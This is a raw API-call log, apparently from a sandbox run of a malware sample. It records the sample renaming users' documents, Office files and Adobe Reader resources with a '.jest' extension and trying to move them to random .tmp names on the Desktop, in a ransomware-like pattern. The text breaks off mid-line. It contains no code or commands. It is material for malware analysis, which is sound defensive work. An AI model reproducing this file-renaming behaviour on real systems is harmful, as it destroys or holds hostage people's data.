[0161.452] VarBstrFromR4 (in: fltIn=0x47945591, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.13") returned 0x0 [0161.453] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b4jCpf9mDzO eOVqKUN70sQkZwgoGPS0mph8GNTg9SkYTsIur-xQ7v 1-njUX8XGik9 i1lRHm6WKzsdxoDW3eOXIpFfC9djoRvTx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b4jcpf9mdzo eovqkun70sqkzwgogps0mph8gntg9skytsiur-xq7v 1-njux8xgik9 i1lrhm6wkzsdxodw3eoxipffc9djorvtx.tmp")) returned 0 [0161.453] GetLastError () returned 0x2 [0161.453] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt.jest")) returned 1 [0161.454] GetLastError () returned 0x0 [0161.455] VarBstrFromR4 (in: fltIn=0x47945593, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.15") returned 0x0 [0161.456] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MILfNghWZFei-JHER_7hVFm6Z Y4RIUDb4RjzRSr619qL-rYcl8-Li8W-qjf75xb_lhLGqUR_VjgnDd_c7Fmt-07y95 gvXs47C22.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\milfnghwzfei-jher_7hvfm6z y4riudb4rjzrsr619ql-rycl8-li8w-qjf75xb_lhlgqur_vjgndd_c7fmt-07y95 gvxs47c22.tmp")) returned 0 [0161.456] GetLastError () returned 0x2 [0161.464] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.jest")) returned 1 [0161.468] GetLastError () returned 0x0 [0161.469] VarBstrFromR4 (in: fltIn=0x47945595, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.16") returned 0x0 [0161.470] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ixkZ5AMjgiFsYOkvlUPGnqbftzl5QACBdJ-YVeuU6IlBFTEx8KFcgFNscz89ehxpNygKoJqEfG5FHVXuMlagF_Z6c2HMZ7yQQqsJ7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ixkz5amjgifsyokvlupgnqbftzl5qacbdj-yveuu6ilbftex8kfcgfnscz89ehxpnygkojqefg5fhvxumlagf_z6c2hmz7yqqqsj7.tmp")) returned 0 [0161.470] GetLastError () returned 0x2 [0161.478] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\C0QjSqffp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c0qjsqffp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\C0QjSqffp.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c0qjsqffp.docx.jest")) returned 1 [0161.480] GetLastError () returned 0x0 [0161.481] VarBstrFromR4 (in: fltIn=0x47945595, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.16") returned 0x0 [0161.482] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\C0QjSqffp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c0qjsqffp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iVv0UZ_fW3Pq2lBm9q3Uu8U eToEb5GcAN23JR2F3p_hzw_x4CEA6ARf8pUZmcG 8J-iy3Qs96LWGV2nOoZOixx1AtVPe4DBhnz0U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ivv0uz_fw3pq2lbm9q3uu8u etoeb5gcan23jr2f3p_hzw_x4cea6arf8puzmcg 8j-iy3qs96lwgv2noozoixx1atvpe4dbhnz0u.tmp")) returned 0 [0161.482] GetLastError () returned 0x2 [0161.483] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i3SbZsEMIuyE.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i3sbzsemiuye.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i3SbZsEMIuyE.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i3sbzsemiuye.docx.jest")) returned 1 [0161.490] GetLastError () returned 0x0 [0161.490] VarBstrFromR4 (in: fltIn=0x47945597, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.18") returned 0x0 [0161.492] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i3SbZsEMIuyE.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i3sbzsemiuye.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OASm6RuEY7omTx4gfO--wyAur4MrR9gUkhKovF0bPe2NMoUEFyz1gxFFQLOH0BatI6DCSOFJujMAAI54kCqYw86QCWcs06pS4yX8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oasm6ruey7omtx4gfo--wyaur4mrr9gukhkovf0bpe2nmouefyz1gxffqloh0bati6dcsofjujmaai54kcqyw86qcwcs06ps4yx8.tmp")) returned 0 [0161.492] GetLastError () returned 0x2 [0161.492] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KFS1EoVPp1Gf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kfs1eovpp1gf.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KFS1EoVPp1Gf.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kfs1eovpp1gf.pptx.jest")) returned 1 [0161.494] GetLastError () returned 0x0 [0161.494] VarBstrFromR4 (in: fltIn=0x47945597, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.18") returned 0x0 [0161.495] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KFS1EoVPp1Gf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kfs1eovpp1gf.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n7bHSOCXKbc4Xb1FAf07 fP_73Po7mireK37Hm5 dyapkk_QWIE2nHNcNiUyiwqwe9Wmeb8I7eLKlATSOkyM6e6kBvORtgHH1VRGS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n7bhsocxkbc4xb1faf07 fp_73po7mirek37hm5 dyapkk_qwie2nhncniuyiwqwe9wmeb8i7elklatsokym6e6kbvortghh1vrgs.tmp")) returned 0 [0161.495] GetLastError () returned 0x2 [0161.501] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8uAKq2-RGio26XAElvGn.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8uakq2-rgio26xaelvgn.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8uAKq2-RGio26XAElvGn.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8uakq2-rgio26xaelvgn.pptx.jest")) returned 1 [0161.502] GetLastError () returned 0x0 [0161.503] VarBstrFromR4 (in: fltIn=0x47945599, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.2") returned 0x0 [0161.504] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8uAKq2-RGio26XAElvGn.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8uakq2-rgio26xaelvgn.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3cnFMzbVMhIkprh3ZgxAgkbdHswtLPQGE9WeT vsoUGj hlEf-8LYfzz9iYN2ZTG47uwyFdyQMhmewDCJphqUvBDdBNiHXlQwF5y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3cnfmzbvmhikprh3zgxagkbdhswtlpqge9wet vsougj hlef-8lyfzz9iyn2ztg47uwyfdyqmhmewdcjphquvbddbnihxlqwf5y.tmp")) returned 0 [0161.504] GetLastError () returned 0x2 [0161.505] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p3nQN7.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p3nqn7.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p3nQN7.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p3nqn7.pptx.jest")) returned 1 [0161.506] GetLastError () returned 0x0 [0161.507] VarBstrFromR4 (in: fltIn=0x47945599, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.2") returned 0x0 [0161.508] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p3nQN7.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p3nqn7.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x_ONidMH9ywI16Gh7dUDPEJKucUk1tPtKcV1XK69PNqqFyOIRrVoM-d-oHFH2XVxhD7P3thdfE9KBTAIi902x75wnPLQg8h-1XAY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x_onidmh9ywi16gh7dudpejkucuk1tptkcv1xk69pnqqfyoirrvom-d-ohfh2xvxhd7p3thdfe9kbtaii902x75wnplqg8h-1xay.tmp")) returned 0 [0161.508] GetLastError () returned 0x2 [0161.509] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MI9Mboxghpqa-Te.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mi9mboxghpqa-te.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MI9Mboxghpqa-Te.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mi9mboxghpqa-te.pptx.jest")) returned 1 [0161.510] GetLastError () returned 0x0 [0161.511] VarBstrFromR4 (in: fltIn=0x47945599, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.2") returned 0x0 [0161.512] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MI9Mboxghpqa-Te.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mi9mboxghpqa-te.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jFirdWTYritjGk7CyH6fFX9MpB 45SjNhgkeme6WUIdejawD000s iUNjT-RnPFUpUlY2jEhubW9YShT2YojFgEhiKxOC7K4M9hr .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jfirdwtyritjgk7cyh6ffx9mpb 45sjnhgkeme6wuidejawd000s iunjt-rnpfupuly2jehubw9ysht2yojfgehikxoc7k4m9hr .tmp")) returned 0 [0161.512] GetLastError () returned 0x2 [0161.513] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4BLLd_isg8Jy47v.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4blld_isg8jy47v.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4BLLd_isg8Jy47v.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4blld_isg8jy47v.pptx.jest")) returned 1 [0161.515] GetLastError () returned 0x0 [0161.515] VarBstrFromR4 (in: fltIn=0x47945599, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.2") returned 0x0 [0161.516] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4BLLd_isg8Jy47v.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4blld_isg8jy47v.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A2y5U4xNHf1DmOS2PAhNVvsO0Odo4 vOu40CSs165b4nIiMp-BEVROZWCS99g-hHton2wQvLGVFl24djhpTKxIiyBDeuQyqMMogA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a2y5u4xnhf1dmos2pahnvvso0odo4 vou40css165b4niimp-bevrozwcs99g-hhton2wqvlgvfl24djhptkxiiybdeuqyqmmoga.tmp")) returned 0 [0161.516] GetLastError () returned 0x2 [0161.521] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.jest")) returned 1 [0161.579] GetLastError () returned 0x0 [0161.580] VarBstrFromR4 (in: fltIn=0x479455a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.26") returned 0x0 [0161.581] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rGUDSkZpdPwBdS2wKOTRfUafDKqa6AC_WUQeWR2P8xHx8vgq_g8kjWvoOczeqm1fSNSDC RKuKbizFPVFfDf6Vc5DtBU_CuvJYNZV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rgudskzpdpwbds2wkotrfuafdkqa6ac_wuqewr2p8xhx8vgq_g8kjwvooczeqm1fsnsdc rkukbizfpvffdf6vc5dtbu_cuvjynzv.tmp")) returned 0 [0161.581] GetLastError () returned 0x2 [0161.582] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0161.583] GetLastError () returned 0x0 [0161.584] VarBstrFromR4 (in: fltIn=0x479455a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.26") returned 0x0 [0161.585] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J16eqKMA4p 3S0SLmRR5X3MI4xjduIRFHaB7 bnRUKhK3g-5if4C7ZhGjHRAKcETE3CtM_qNBVLKsUtxA xu3SggGM8_C1xfBMjm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j16eqkma4p 3s0slmrr5x3mi4xjduirfhab7 bnrukhk3g-5if4c7zhgjhrakcete3ctm_qnbvlksutxa xu3sgggm8_c1xfbmjm.tmp")) returned 0 [0161.585] GetLastError () returned 0x2 [0161.586] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.jest")) returned 1 [0161.591] GetLastError () returned 0x0 [0161.592] VarBstrFromR4 (in: fltIn=0x479455a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.26") returned 0x0 [0161.593] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qmTI7eWYYl-kxjEOqIhLBVTfxQVjBDivfzh16v5HH_kbwYsasTe5IbRVgUOT21oo4wm4VJXoD4GVSBVcnvdOSD6uO-v0 H0ouGbqv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qmti7ewyyl-kxjeoqihlbvtfxqvjbdivfzh16v5hh_kbwysaste5ibrvguot21oo4wm4vjxod4gvsbvcnvdosd6uo-v0 h0ougbqv.tmp")) returned 0 [0161.593] GetLastError () returned 0x2 [0161.594] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.jest")) returned 1 [0161.595] GetLastError () returned 0x0 [0161.595] VarBstrFromR4 (in: fltIn=0x479455a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.27") returned 0x0 [0161.596] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4GYvgf-fucUwhlIx Cw_BLOyVmSeCkjKGqQIpPX2_-VPIHEtATFANFCj3XtJW9THfjyJsTbx6Jz_YwOSS808aEvql8hXQg99fw9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4gyvgf-fucuwhlix cw_bloyvmseckjkgqqippx2_-vpihetatfanfcj3xtjw9thfjyjstbx6jz_ywoss808aevql8hxqg99fw9.tmp")) returned 0 [0161.596] GetLastError () returned 0x2 [0161.597] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0161.598] GetLastError () returned 0x0 [0161.599] VarBstrFromR4 (in: fltIn=0x479455a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.27") returned 0x0 [0161.600] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S-h4m8wtcKb1 -VYwxu7CXNHy 3hKw98ZDdmHFKXNPPfvj8ccS84roco07Ll4oS4GoGrsd1YMvYfcve4bmq-ToDYT-Do7ck3P6bAt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s-h4m8wtckb1 -vywxu7cxnhy 3hkw98zddmhfkxnppfvj8ccs84roco07ll4os4gogrsd1ymvyfcve4bmq-todyt-do7ck3p6bat.tmp")) returned 0 [0161.600] GetLastError () returned 0x2 [0161.601] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\axeybRph.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axeybrph.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\axeybRph.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axeybrph.xlsx.jest")) returned 1 [0161.602] GetLastError () returned 0x0 [0161.602] VarBstrFromR4 (in: fltIn=0x479455a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.27") returned 0x0 [0161.604] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\axeybRph.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axeybrph.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TfvGUIIIg78yztuWTGIMHSCqqIzBLrV1VRgEcZsP0xRok7lCaZx1t9Y9ZmIzkYury0x2ClsVhEMVTTDRm0-2d2L3S53uwVfCCOh4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfvguiiig78yztuwtgimhscqqizblrv1vrgeczsp0xrok7lcazx1t9y9zmizkyury0x2clsvhemvttdrm0-2d2l3s53uwvfccoh4.tmp")) returned 0 [0161.604] GetLastError () returned 0x2 [0161.604] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9Rkt1PGKjCYSbS7XJCcj.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9rkt1pgkjcysbs7xjccj.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9Rkt1PGKjCYSbS7XJCcj.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9rkt1pgkjcysbs7xjccj.xlsx.jest")) returned 1 [0161.605] GetLastError () returned 0x0 [0161.606] VarBstrFromR4 (in: fltIn=0x479455a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.27") returned 0x0 [0161.607] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9Rkt1PGKjCYSbS7XJCcj.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9rkt1pgkjcysbs7xjccj.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HvXNL7bsgp8r7IZ9yYDrAXlVXJvPpM05xIt4Mv22qSuhf64OBgJ0PEeIe0cHUY8z95BugB7pHUbzKS5uteo8oc-bwtB_6ZZUKdk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hvxnl7bsgp8r7iz9yydraxlvxjvppm05xit4mv22qsuhf64obgj0peeie0chuy8z95bugb7phubzks5uteo8oc-bwtb_6zzukdk.tmp")) returned 0 [0161.607] GetLastError () returned 0x2 [0161.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls.jest")) returned 1 [0161.666] GetLastError () returned 0x0 [0161.667] VarBstrFromR4 (in: fltIn=0x479455ab, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.34") returned 0x0 [0161.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dMJDPC7wBgFVghlk0NeLe2PjrWB8Ru06hBvpgLxfOgZKcdHr0k2Sa71x3UhZjPuZ717AUZnL H8eBBzETo80XlPfLTPb7nhc2_8I.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmjdpc7wbgfvghlk0nele2pjrwb8ru06hbvpglxfogzkcdhr0k2sa71x3uhzjpuz717auznl h8ebbzeto80xlpfltpb7nhc2_8i.tmp")) returned 0 [0161.668] GetLastError () returned 0x2 [0161.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.jest")) returned 1 [0161.674] GetLastError () returned 0x0 [0161.675] VarBstrFromR4 (in: fltIn=0x479455ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.35") returned 0x0 [0161.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN2WZAfiLibmM6VY9kXz-kMvXFo20wnBK_BgKLpzwxjib0SHF-Cuu7hEsdUpHJ SPJDlhWM1sKEwYoOorqeE9oXh5XL2uQ1DLuFPX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in2wzafilibmm6vy9kxz-kmvxfo20wnbk_bgklpzwxjib0shf-cuu7hesduphj spjdlhwm1skewyooorqee9oxh5xl2uq1dlufpx.tmp")) returned 0 [0161.676] GetLastError () returned 0x2 [0161.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg.jest")) returned 1 [0161.680] GetLastError () returned 0x0 [0161.681] VarBstrFromR4 (in: fltIn=0x479455ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.35") returned 0x0 [0161.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio 